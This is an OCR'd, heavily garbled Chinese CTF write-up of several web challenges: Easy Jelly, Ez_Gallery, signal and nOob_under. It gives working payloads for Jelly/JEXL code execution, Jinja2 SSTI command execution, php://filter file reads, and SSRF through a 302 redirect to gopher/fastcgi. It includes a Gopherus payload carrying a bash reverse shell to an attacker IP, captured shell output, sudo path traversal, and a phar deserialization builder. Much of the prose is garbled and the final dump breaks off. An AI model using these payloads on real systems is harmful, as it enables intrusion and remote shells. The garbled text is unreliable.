ElpEAWP

WEB
Easy Jelly

B https://commons.apache.org/proper/commons-jelly/

R Jelly XMLS | ZETSERIRR, LR T —LE A ellyirEaIER MR LAER)exIZRIATISE
IRCE

B FARYpayload:

<?xml version="1.0" encoding="utf-8"7>
<j:jelly xmins:j="jelly:core">
<j:getStatic var="str"
className="org.apache.commons.jelly.servlet.JellyServiet" field="REQUEST"/>
<j:break test="${str
.class
.forName('javax.script.ScriptEngineManager').newInstance()
.getEngineByName('js")
.eval('java.lang.Runtime.getRuntime() .exec(&quot; open -a Calculator
&quot;) ') }"></j:break>
</j:jelly>

or

<?xml version="1.0" encoding="utf-8"7>
<j:jelly xmlns:j="jelly:core">
<j:getStatic var="str"
className="org.apache.commons.jelly.servlet.JellyServlet" field="REQUEST"/>
<j:whitespace>${str
.class
.forName('javax.script.ScriptEngineManager').newInstance()
.getEngineByName('js"')
.eval('java.lang.Runtime.getRuntime() .exec(&quot; open -a Calculator
&quot;) ') }</j:whitespace>
</j:jelly>

wp:

JellyfEiTIexRIAN LIFERIE, AILMEES XEHhERexprirghivalue BIERRIFT R exIZRIAT
Y

core:expr

A tag which evaluates an expression

escapeText boolean Sets whether the body of the tag should be escaped as text (so that <and >areescaped as &lt; and &gt;), which is the default or leave the text as

trim boolean Sets whether whitespace inside this tag should be trimmed or not.Defaults to true so whitespace is trimmed
value Expression Sets the Jexl expression to evaluate.


af://n1307
af://n1309
af://n926
https://commons.apache.org/proper/commons-jelly/

HiTZiEForg.apache.commons.jelly.tags.core.ExprTag#doTagiiL

7

public void doTag(XMLOutput output) throws JellyTagException {
if (value != null) {
String text = value.evaluateAsString(context);

SNER{REEB CoreTaglibraryzk, SAMoutiRERIRFSE]
org.apache.commons.jelly.tags.core.ExprTag#doTag/si& FabE

// core tags
registerTag( name: "out", ExprTag.class);

LR exIRIARAITA LTI, HhiFaiEconditional tags, f&break, if&SE, fhilEBaiFitE
JexIZFRIAZ

XBLLif5F

public void doTag(XMLOutput output) throws MissingAttributeException, JellyTagException {

f (test s null) {
if (test.evaluateAsBoolean(context)) {

invokeBody (output);
}.
].
else {
throw new MissingAttributeException("test");
h

SRIAE, invokeBodySiZS AT ENAE, XERFS I Fexl, BREARRARERIXME

© evaluate:65, Jex|lExpression (org.apache.commons.jelly.expression.jexl)
evaluate:122, JexlExpressionFactory$ExpressionSupportLocal (org.é g
run:66, ExpressionScript (org.apache.commons.jelly.impl)
run:95, ScriptBlock (org.apache.commons.jelly.impl)

invokeBody:186, TagSupport (org.apache.commons.jelly)

REXEHA LATEorg.apache.commons.jelly.tags.coreFtaZRinvokeBody#levaluate X E=3RiH T
R

SR, WBMETETDRSBRINET LB SHFRAS T, XEHAEAN @
Ez_Gallery

IS RERRREEN, TN, REMRR T —LEUAHMpSERINT < waf, BESRISE shell
. BEER—HUTIE, IDEIENRE, TEREHARMEZS.

FRE, —HEIEERERIE,


af://n944

C ® Q & 125.70.243.22 28 110% Y

he DEEms OeEeTs Doz O®ms Oieks Base64 FafS/#E6S - .. W CyberChef j /00 - JS... ) QiR - =3 BEEEE (- )00 .. 6 LiF&

BRER

AFa:

JEERS:

9083

MR E R FEITHE url 228, BBATTLAFIFA ddddocr iRBISEIUFRSHHTI®M:, £%: https:/blo
g.csdn.net/qq1140037586/article/details/128455338, R EIFIEX SR NBELIEMACHH TR
7,

'V Intruder attack results filter: Showing all items

Request Payload Status code Response received Error Timeout Length Comment

[a 123456 200 86 410
14 master 200 61 185
0 200 85 182
2 password 200 75 182
3 12345678 200 412 182
4 1234 200 86 182
5 admin@123 200 200 182
6 pussy 200 80 182
7 12345 200 78 182
8 dragon 200 133 182
9 querty 200 71 182
10 696969 200 98 182
1 muctann 200 2 182

lequest Response

‘retty  Raw  Hex  Render  Hackvertor

HTTP/1.0 200 OK

Date: Wed, 27 Nov 2024 10:32:48 GMT

Server: WSGIServer/0.2 CPython/3. 7. 17

Content-Type: text/html; charset=UTF-8

Content-Length: 53

Set-Cookie: session=LuDKahMwL4eotwB51a56rIYqrm277I9Wd jEx4eNRNscAfMppqLKKtFkeCfYBxeDBckbJIRHD8zChuuKsHlnl1U1sxNzMyNzAzNTY4LCAxNzMyN jgzMDUzL jYyMDcSMiwgey J1c2VybmF
Path=/; SameSite=Lax

BRI <a href=" /home’ >

AATEAER
(fa>

WIFSIREEIFEER, MIRRS, URRBHESZANRRTT, SRR 123456, 5
EFEZM pkav BREHITIEN, MERMENRS,

: localhost WO | 8099 12 SSL HILF/ L. U 4UU UK
L Localhos A U #A Set-Cookie: session=One5StFTow-2Id3s542_gDaGqsIQCZNItOw-bPSET:

WRou9xf 1 sxNzMwllj 5Nz cBLCAxNzMwiDkyMTUwl jMwNDASODQ sTHs1dXN1cmbl

=] e=Lax
- Content-Length: 53
B # ¥ & & ik Content-Type: text/html; charset=UTF-8

Server: W3GIServer/0.2 CPython/3.7.17
Date: Wed, 30 Oct 2024 09:08:39 GNT

HR

P RBE WES B MR &N KE oW BRFEN! <o hret=’ /hone” > SHRAEH 2>
123456 7123 200 == 3l
test123456 6260 200 = £ 10
administrator 9241 200 FS o 10
adninistrat 5295 200 - 10
administrat 5623 200 FS 5 10
rootlZ3 1993 200 = & 10
testl23 3902 200 = 5 10
yunwei 3623 200 5 & 10
ceshi 7631 200 = = 10
ceshil23 2732 200 S s 10
adninl 23456 1731 200 - 10
adminpassword 9643 200 S 5 10
al23456 5569 200 = & 10
1234563 0393 200 = 5 10


https://blog.csdn.net/qq1140037586/article/details/128455338

ERAINEHE /home BEH, BEERT—MERAI url IFEESXMEE, 3BV proc/self/cmdline
BRIRIBAIE, PAIRUFERIEEapp/app.py RS

import jinja2

from pyramid.config import Configurator

from pyramid.httpexceptions import HTTPFound

from pyramid.response import Response

from pyramid.session import SignedCookieSessionFactory
from wsgiref.simple_server import make_server

from Captcha import captcha_image_view, captcha_store
import re

import os

class User:
def __init__(self, username, password):
self.username = username
self.password = password

users = {"admin": User("admin", "123456")}

def root_view(request):
# HEmHE /login
return HTTPFound(location="'/login")

def info_view(request):
# EEMTNE
if request.session.get('username') != 'admin':
return Response("iHsLER", status=403)

file_name = request.params.get('file')
file_base, file_extension = os.path.splitext(file_name)
if file_name:
file_path = os.path.join('/app/static/details/', file_name)
try:
with open(file_path, 'r', encoding="utf-8') as f:
content = f.read()
print(content)
except FileNotFoundError:
content = "CfFRIKE]
else:
content = "REEHEMFA.

return {'file_name': file_name, 'content': content, 'file_base': file_base}

def home_view(request):
# TEEH
if request.session.get('username') != "admin':
return Response("iHLEFR", status=403)

detailtxt = os.listdir('/app/static/details/")
picture_Tist = [i[:i.index('.')] for i in detailtxt]
file_contents = {}



for picture in picture_Tlist:
with open(f"/app/static/details/{picture}.txt", "r", encoding="utf-8')
as f:
file_contents[picture] = f.read(80)

return {'picture_list': picture_list, 'file_contents': file_contents}

def login_view(request):
if request.method == 'POST':
username = request.POST.get('username')
password = request.POST.get('password"')
user_captcha = request.POST.get('captcha', '').upper(Q

if user_captcha != captcha_store.get('captcha_text', ''):
return Response("IiEig45iR, HHEIL. ")

user = users.get(username)

if user and user.password == password:
request.session['username'] = username
return Response("FxXI! <a href="'/home'>gidii N Fji</a>")

else:
return Response("H P #4oE LR, ")

return {}

def shell_view(request):
if request.session.get('username') != "admin':
return Response("iHLEFR", status=403)

expression = request.GET.get('shellcmd', '')
blacklist_patterns = [r'.*Tength.*"',r'.*count.*"',r'.*[0-
9].*",r'.*\..*",r'.*soft.*"']

if any(re.search(pattern, expression) for pattern in blacklist_patterns):
return Response('wafwafwaf')
try:
result =
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"
request": request})
if result != None:
return Response('success')
else:
return Response('error')
except Exception as e:
return Response('error')

def main(Q):
session_factory = SignedCookieSessionFactory('secret_key')
with Configurator(session_factory=session_factory) as config:
config.include('pyramid_chameleon') # ¥shinyEdetib
config.add_static_view(name="'static', path='/app/static')
config.set_default_permission('view') # ¥ &EINAKIE yview

# TR

config.add_route('root', '/")
config.add_route('captcha', '/captcha')
config.add_route('home', '/home')



config.add_route('info', '/info')

config.add_route('Togin', '/login')

config.add_route('shell', '/shell")

# EMALE

config.add_view(root_view, route_name='root')

config.add_view(captcha_image_view, route_name='captcha')

config.add_view(home_view, route_name='home', renderer="home.pt',
permission="view')

config.add_view(info_view, route_name='info', renderer='details.pt’,
permission="view')

config.add_view(login_view, route_name='login', renderer='login.pt")

config.add_view(shell_view, route_name='shell', renderer='string',
permission="view')

config.scan()
app = config.make_wsgi_app()
return app

if _name__ == "_main__":
app = mainQ)
server = make_server('0.0.0.0', 6543, app)
server.serve_forever()

RIE/shell BREHTFAE ssti, BRIRBREIR, RBEE—RMEE, BXMH, #shell, BRTIREINR,
HhP NI ERRERN), MIAZIR T, JLUSEEMIDEINES. XESHAREFDS, E2FNKEN
config TERF/EPLE, ATLAEEBEMF config TRV FEREL, &% https://docs.pylonsproject.o
rg/projects/pyramid/en/1.4-branch/narr/hooks.html,

Using Response Callbacks

Unlike many other web frameworks, Pyramid does not eagerly create a global response object. Adding a response callback allows an application to register an a
against whatever response object is returned by a view, usually in order to mutate the response.

The pyramid.request.Request.add_response_callback() method is used to register a response callback.

A response callback is a callable which accepts two positional parameters: request and response. For example:

def cache_callback(request, response):
"""Set the cache control max _age for the response”""
if request.exception is not None:
response.cache_control.max_age = 360
request.add_response_callback(cache_callback)

FIF request.add_response_callback $3FREFITEIZE, &

{{cycler.__init__.__globals__.__builtins__['exec']
("request.add_response_callback(lambda request, response: setattr(response,
"text', __import_('os').popen('whoami').read()))",{ 'request': request})}}


https://docs.pylonsproject.org/projects/pyramid/en/1.4-branch/narr/hooks.html

{{cycler['_init__'J['_globals__"']J['_builtins_"]['exec']
("getattr(request, 'add_response_callback') (Tambda request,
response:setattr(response, 'text', getattr(getattr(__import__('os'), 'popen')
('whoami'),'read')()))",{'request': request})}}

=EEEEE

app bin dev etc flag home lib media mnt opt proc readflag root run sbin srv sys tmp usr var

=58 DEss DEstE N () X Y HEE ] HackBar

SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~

‘add_response_callback')(lambda

=984 request RS FREFBEMA, BENHETLBRT=IR. RIS EZRIRY flask HE5LR%15
KAER, XBRERE R, BRERRMBKEANSEE ServerHandler 22747, #31& paylaod

{{cycler['_init_'J['__globals__"']J['__builtins_"]['setattr']
(cycler['__init__']['_globals__"]J['_builtins__"]['__import__"]('sys")
['moduTes']['wsgiref']['simple_server']

['serverHandler'], "http_version',cycler['_init_"]J['__globals__"]
['"_builtins__"J['_import__"']J('os")['popen']('whoami')['read'](0)}}

BT /shell?shellcmd= HITP/app

{eyeler[' _init_ ][ _globals_ "1[' _builtins_'1[ setattr’ ](cycler[’ 2 hin
_init_ ][ __globals_ "1 _builtins_ ' J['__dmport_ '] sys' ) [ modules 3 dev
10 wsgiref ][’ simple_server ][ ServerHandler’ ], http_version, cycler[ 4 etc
_init_ ][ _globals_ "1 _builtins_ 'J['__import_ ' ]( os’ ) [ popen’ ]( 5 flag
lsl )0 read’ 1))} HITP/1.1 6 home
ost: 125.70. 243, 22:31556 7 lib
ser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64; rv:132.0) 5 media
ecko/20100101 Firefox/132.0 9 mnt
ccept: text/html, application/xhtml+xml, application/xml;q=0. 9, #/4;q=0. 8 10 opt
ccept-Language: 11 proc
h—CN, zh:q=0. 8, zh-TW;q=0. 7, zh-HK ;q=0. 5, en-US:q=0. 3, en;q=0. 2 12 readflag
ccept-Encoding: gzip, deflate, br 13 root
onnection: keepralive 14 run
ookie: session= 15 sbhin
Y-10F2I1beRQ-16gZ51123c8f0IrmdREUGGEUBKcGePotMELL-NI gdRMO JwyC_LL1Vem3q 18 srv
9rFFlalNZb2]1 hF sxNzMyNzAzODESLCAXNzMyN jgzMDUzL jYyMDeSMiwgey J1c2VybmFtZS 17 sys
6ICThZG1pbi J9XQ 18 tmp
pgrade-Insecure-Requests: 1 19 usr
afarar: httn-//12R 70 243 22-31RRA/Agin N | var



signal

cgi?

FEME—TERE, HTENNERWE, JLULIERZphp:

WAL (325 =15)
Cache-Control: no-store, no-cache, must-revalidate
Connection: close
Content-Encoding: gzip
Content-Type: text/html; charset=UTF-8
Date: Tue, 26 Nov 2024 09:51:24 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache .
Server: nginx/1.14.2 --‘“""f
Transfer-Encoding: chunked
X-Powered-By: PHP/7.2.34

BLAREHZET—TER:

python3 dirsearch.py -u http://125.70.243.22:31121/ -e*

Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz | HTTP method: GET | Threads: 25
Wordlist size: 15019

Target: http://125.70.243.22:31121/
[17:53:15] Scanning:

—> index.php

Task Completed

EI.‘:I:.'Tadmln php, {EE302BkEEI Tindex.php, RiZEGsessiond&ibixXLe, AEAHET—MEE
itEE, TEHTRAEEBSE:

vim -r index.php.swp

BEAITREA:

'%ﬁﬁﬁﬁﬁﬁ%ﬂﬁﬁ?ﬁ%,E@EE@W%EEEEW%EK#%E% 4700, BBRELA fih B S guest:MyF3iend , 3 2 A Al BE4A fth He
9 adminf 2 [

FTLAIERRE T guestiIIKSERR, ERHITE—T:

y <« C @ O 8 125.70.243.22:31121/guest.php?path=/tgp/hello.php

g Oex O#ERE DOxdes DOEgmeTE Dert DFstRE Opython [(Jvipn [Dvps [ javaiss

1 Welcome, guest!

You are successfully logged in.

Go see something


af://n979

—IRXEHEE, AILIEE /etc/passwd Fl /flag , BREIXA /flag L5892(RAY:

& C @ O & 125.70.243.22:31183/guest.php?path=/flag
Oz Duamms DOxaas DEgmuTs OG6PT DFetK (Jpython Jvpn v

DOg3xGA{YOu Sude It TRu3?}

Fa=ng8axXHt, &KRBFadmin.phpXHEZBEEEIndex.phpTTE, BEBphpABRHAET T
9, PRI Include RERE SR, FEAXEMFENTTphpEE, FIAIEMEEWNETEHIT
NHas, FERFESHRDE N BERI S EEEY S,

HOXBEEFJIN R, thinfileter chian, MESEIEEHSE, AERENRBEgettES, TR
Sfilter chainFEE RS IERHIE D I=FRT, BEfuzzEiRMEfuzzsk, FRABEITATH (BETLL
HRA19RVEER) |, XBEATEXEIFHIR T TIRFR, SARE—MERNTIREESIRIE SR, AT
EEG TEXMNXIHESRIE] (ps: BRBIRME, &~ riigguest.phpT, SEEAEwaf, ffilter
chaindFFHAY) -

php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%
329%65%25%36%32%25%36%31%25%37%33%2 5%36%35%2 5%33%36%2 5%33%34%2 5%32%64%2 5%36%3 5%2 5
%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin. php

B&admin.phpAJiEIS, baseb4f#RSENT (REB T phphIRE3)

<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
$_SESSION['error'] = 'Please fill in the username and password';
header("Location: index.php");
exit(Q);

$url = $_POST['url'];

L]

$error_message = :

]

$page_content = '';

if (isset($url)) {

if (!preg_match('/Ahttps:\/\//"', $ur1)) {
$error_message = 'Invalid URL, only https allowed';

} else {
$ch = curl_initQ;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$page_content = curl_exec($ch);
if ($page_content === false) {

$error_message = 'Failed to fetch the URL content';

3

curl_close($ch);



?>

Hepa /AR Eaus:

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

RIMESCVFIRRE302B R, FEREZPOSTESurll, BEZINT sessioniiERY, FILARHEEME
BAERHIXNadminlER, FRABERFTERAEMET LIS adminfIKF, SEERWE, FJLL
EEFTARE R RERIR IR A TES:

——y

{/head>
<{body>
{div class="login—container”>
{form action="StoredAccounts. php” method="POST">
{label for="username”>Username:</label>
{input type="text” id="username” name="username” required><br><br>
{label for="password”>Password:</label>
{input type="password” id="password” name="password” required><br><br>
{input type="submit” value="Login”>
{/form>
{p class="status—message”>Please fill in the username and password</p>
</div>
{/body>

BRI, BREART, BEbase6dfmil—NE, AINSEIFRS:

<?php
session_start();

$users = [
'admin' => 'FetxRuFebAdm4nHace',
'guest' => 'MyF3iend'

i

if (isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];

if (isset($users[$username]) && $users[$username] === $password) {
$_SESSION['logged_in'] = true;
$_SESSION['username'] = $username;

if ($username === 'admin') {
header('Location: admin.php');
} else {
header('Location: guest.php');

}
exit(Q;

} else {
$_SESSION['error'] = 'Invalid username or password’;
header('Location: index.php');
exit(Q);

}

} else {
$_SESSION['error'] = 'Please fill in the username and password';

header('Location: index.php');



exit(Q;

BEITKSEN, WEMREER—TXMKF:

Welcome

WEEE, justdo it@®

Enter URL

BE—MAME, F(ITLUE TssrikE, BRIBERBhttpsTkAIZEbE, MEFERIRXE
AOssrfgef T4, EEREBME, TLANEXER Ifastcgi. BPATAttpsFI3020E. SIRBEESHE—
&, BRARIFRER, EiEBE—TiIfastcgiBla), IRS[ER ppELEMAITE=EE— M6
&, XEEDEMNGE:

o AILIRIAESMIcloudflareSkiE—MIRRTES, FISRFT302B5%:
steep-band-b300 a1 O

9| s workerjs X 8- | @fs SHIP O gewE B [E
JS worker,js > €] default r
export default | https://steep-mms B lgens memabmmeies.dev/ | |
async fetch(request, env, ctx) { -
// REREHFE URL
const targetURL = "http:// = /shell.php';

B

// B 302 EEEELT
return Response.redirect(targetUrRL, 32);

}s

) J

AR T LABRIIFT3028k60Y, (BRXBEAIRSREAEINGG, FrAFEERBINIITIE.

o fEfngrokTH, ERSHLEERXNTEALEE—MEITMIL, EESEFSEELYE, &
MR RN AR S MRS HIRE N — 13028 kT, BIRERIENT:

AT AR BEEaIAas

LN W e W R



https://dash.cloudflare.com/login
https://download.ngrok.com/linux?tab=download

from flask import Flask, redirect
app = Flask(__name__)
@app.route('/")
def indexRedirect():
redirecturl = 'http://[IP]/shell.php'

return redirect(redirecturl)

if _name__ == '_main__":
app.run('0.0.0.0"', port=8080, debug=True)

sAfEngrok AT a2 IGAT AR AR < :
Ehttpsiaif Mui:  ngrok http 8080

EXERAIHMERFE A, BEEIFngrok/Fa T TIRIF
FEAHARSS :

[root@ " ngrok]# python3 app.py
* Serving Flask app ‘app’ (lazy loading)
* Environment: production

Use a production WSGI server instead.
“ Debug mode: on
* Running on all addresses.
WARNING: This is a development server. Do not use it in a production deployment.
“ Running on 8080/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
“ Debugger PIN:

TR

ngrok (Ctr1+C to quit)

Account - == - = (Plan: Free)

Version 3.18.4

Region Asia Pacific (ap)

Latency 70ms

Web Interface http://127.0.0.1:4040

Forwarding https:// +.app -> http://localhost:8080

Connections ttl opn rtl rt5 p50 p90
[¢] 0 0.00 0.00 0.00 0.00

RIETEEEBinEXhttpsBie], BERIE:



Welcome

MnEE, justdo it@®

Enter URL

FIhBk e E SRR 2RI EIE S,
B2IMER K Tfastcgi, XEEZEFAGopherus TE R4 payload:

Give one file name which should be surely present in the server (prefer .php file)

if you don't know pr ENTER we have default one: /var/www/html/admin.php
Terminal command to run: whoami

gopher link is ready to do SSRF:

2CONTENT _LENGTHS:

REEEFHIRS HRATBE:



from flask import Flask, redirect
app = Flask(__name__)

@app.route('/")
def indexRedirect():

redirecturl =
'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04
%00%01%01%04%04%00%0F%10SERVER_SOFTWAREQ0%20/%20fcgic1ient%20%0B%09REMOTE_ADDR12
7.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPO
ST%09KPHP_VALUEalTow_url_incTlude%20%3D%200n%0AdisabTe_functions%20%3D%20%0Aauto_
prepend_fi1e%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0
D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3
C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27----- Made-by-SpyD3r-----
%0A%27%29%3B%3F%3E%00%00%00%00 '

return redirect(redirecturl)

if _name__ == "_main__":
app.run('0.0.0.0"', port=8080, debug=True)

ENMFRENERS, IWEERKIRITHEZEEE

Welcome

MBS, justdo it®

Enter URL

Submit

fX-Powered-By: PHP/7.2.34
Content-type: text/html; charset=UTF-8

www-data =
---—--Made-by-SpyD3r-----

Pr

BRHIATER S

BRI — Rshell:



python2 tools/Gopherus/gopherus.py —-exploit fastcgi

$_SpyD3r_%

Give one file name which should be surely present in the server (prefer .php file)

if you don't know press ENTER we have default one: /var/www/html/admin.php
Terminal command to run: bash -c "bash -i >& /dev/tcp/: /2333 0>&1"

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/ %01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%0U%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo
%20/%20fcgiclient%20%0B%09REMOTE ADDR127.0.0.1%0F%08SERVER PROTOCOLHTTP/1.1%0E%O3CONTENT LENGTH106%0E%OUREQUEST METHODPO
ST%09KPHP VALUEallow url include%20%3D%200n%0@Adisable functions%20%3D%20%0Aauto prepend file%20%3D%20php%3A//input%0F%17
SCRIPT FILENAME/var/www/html/admin.php%@D%@1DOCUMENT ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%04%00%
3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tc 1/2333%200%3E%261%22%27%29%3Bd1e%28%27—

—=——Made-by-SpyD3r---—- %0A%27%29%3B%3F%3E%00%00%00%00

Bp:

from flask import Flask, redirect
app = Flask(__name__)

@app.route('/")
def indexRedirect():

redirecturl] =
'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04
%00%01%01%05%05%00%0F%10SERVER_SOFTWAREg0%20/%20fcgiclient%20%0B%09REMOTE_ADDR12
7.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODP
0ST%09KPHP_VALUEaTlTow_ur1_incTude%20%3D%200n%0Ad1isable_functions%20%3D%20%0Aauto
_prepend_fi1e%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%
0D%01DOCUMENT_ROOT /%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%003%04%00
%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-
1%20%3E%26%20/dev/tcp/[IP]/2333%200%3E%261%22%27%29%3Bd1e%28%27----- Made-by-
SpyD3r----- %0A%27%29%3B%3F%3E%00%00%00%00 '

return redirect(redirecturl)

if _name_ == '_main__":
app.run('0.0.0.0"', port=8080, debug=True)

RIEEiRS =R EinlrinE, FHITXRZRIRGERME, pIbi#shell:

[root@IE. 700 .07 5 sl .22 ~]# nc -lvnp 2333
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::2333

Ncat: Listening on 0.0.0.0:2333

Ncat: Connection from 125.70.243.22.

Ncat: Connection from 125.70.243.22:33299.

bash: cannot set terminal process group (9): Inappropriate ioctl for device
bash: no job control in this shell

www-data@signal-feb467eb21734202:~/html$ I

RERTHfagRrY, ATLIERER —Tflagl&:

find / -name flag*

BEITUE:



/sys/devices/platform/serial8250/serial825(
/sys/devices/platform/serial8250/serial825(
/sys/devices/platform/serial8250/serial825(
/sys/devices/platform/serial8250/serial825(

/sys/devices/platform/serial8250/serial825(
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/tmp/whereflag/flaglsHere «e—————

{BZshellti 7, ZTFMB, BE—XHITT (FHEEFTEES—TER) !
PRESEEN T :

www-data@signal-d0d1l0461f5414302: /tmp/whereflag$ cat flaglsHere
cat flaglsHere
flag{Maybe_you_should_get_permissions}

FTLARERN. &—Tsudo:

www-data@signal-d0dl0461f5414302: /tmp/whereflag$ sudo -1

sudo -1

Matching Defaults entries for www-data on signal-d0d10461f5414302:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on signal-d0d10461f5414302:
(root) NOPASSWD: /bin/cat /tmp/whereflag/* —ee————

E ALt T B sudofYcat ANER R T *# 7@, FrAATIEX B RS, T iEE lagBpaT:

sudo cat /tmp/whereflag/../../../root/flag

BIEREXZflag :

-data@signal-d0d10461f5414302: /tmp/whereflag$ sudo cat /tmp/whereflag/../../../root/flag
<ereflag$ sudo cat /tmp/whereflag/../../../root/flag

DOg3xGC{95e88365-1a78-4b32-9862-24b68b6636a5}

nOob_under
BIEDth

<?php

$SECRET = "/readsecret ;

include "waf.php";
class User {
public $role;
function __construct($role) {
$this->role = $role;
}
}

class Admin{
public $code;
function __construct($code) {


af://n1053
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$this->code = $code;

}

function __destruct() {
echo "Admin can play everything!";
eval ($this->code);

}
function game($filename) {
if (lempty($filename)) {
if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
echo "well done!";
} else {
echo "Copy failed.";
}
} else {
echo "User can play copy game.";

}

function set_session(){
global $SECRET;
$data = serialize(new User("user™));
$hmac = hash_hmac("sha256", $data, $SECRET);
setcookie("session-data", sprintf("%s----- %s", $data, $hmac));
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
Tist($data, $hmac) = explode("----- ", $data, 2);
if (lisset($data, $hmac) || !is_string($data) || !is_string($hmac) ||
'hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
die("hacker!");
}
$data = unserialize($data);
if ( $data->role === "user" ){
game($_GET["filename"]);
}else if($data->role === "admin"){
return new Admin($_GET['code']);
}
return 0;
}
if (lisset($_COOKIE["session-data"])) {
set_session();
highlight_file(__FILE_);
telse{
highTight_file(__FILE_);
check_session();

SfekEsessionfUiZiE, @idcheck_session(RESERIIEERFFIL, BREXEFERThmac-sha256
BREx, TREEZI$SECRET(EISL$SECRETHIERIIMlag @ ), BiRAMELITH, REEE5IR
.

SFrER, copyRALMERpharfatiiihy, mERELFtadminkfistEZEG<SWITTY, BBREET
pharF5L.

ERXEREXM LER, FEBEIFEERphars)HRBAFRERFEA.



$filenamerZT—waf, BRIRISRBLESIFHREX MWaRIABERZRILRIESR, MENTE
LEAFFRHARRAIQAQ), IX M walml @FIENIPLES Tinput, stdinfldataXig=, BhLEfERXEERTLASEENIME
N SIINENEBEE

waf(

if (preg_match(

die( )

FTLAFRA I B — N BB SR THaIE, eSO TARIRRS S, BHRES, session3Xf4,
R SUE- TS RENE S, BT IRE T open_basedir, BES4-Tikcopy, FrbAREsessions4 7,
MEPhphRAA7 2 XMRATE AT Esession, RE LETXM, FEfEcookiefe N TPHPSESSID,
thERkImRIAYsession3Z{4,

FrLAB SR EREE_ EE— NS, FEsessionlfld 4B NRISEHIphar3Xi4, SIS Afilterfaty
BpharsHERREE/tmp/tmp.tmp, EREAphar{athili#tr.

TS
phards=FH
KREANE TEXARESE, ERAMESLAEbase644miBHI1T

convert.base64-encode #1 convert.base64-decode
convert.iconv.utf-8.utf-16be # convert.iconv.utf-16be.utf-8
convert.quoted-printable-encode #1 convert.quoted-printable-decode

&%
Laravel 8 Debug Mode RCE ¥hE5ERT - Diggid's Blog

“Rkphar3Zit

<?php
highTight_file(__FILE
class Admin{

i

public $code;
}
@unTink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php _HALT_COMPILER(); ?>');
$o=new Admin(Q);
$o0 ->code="system('/readflag');";
$phar->setMetadata($o);
$phar->addFromstring("test.txt","test");
$phar->stopBuffering();


af://n1063
af://n1064
https://blog.diggid.fun/2021/05/30/Laravel-8-Debug-Mode-RCE-%E6%8B%93%E5%B1%95%E4%B8%8E%E8%B8%A9%E5%9D%91/#payload%E6%80%BB%E7%BB%93

?>

o m<:

cat test.phar | base64 -w0 | python3 -c "import sys;print(''.join(['=" +
hex(ord(i))[2:] + '=00" for i in sys.stdin.read()]).upper()"

RABER

=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=5
5=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=
00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00
=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=4
1=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=
00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00
=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=6
9=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=
00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00
=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=7
9=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=
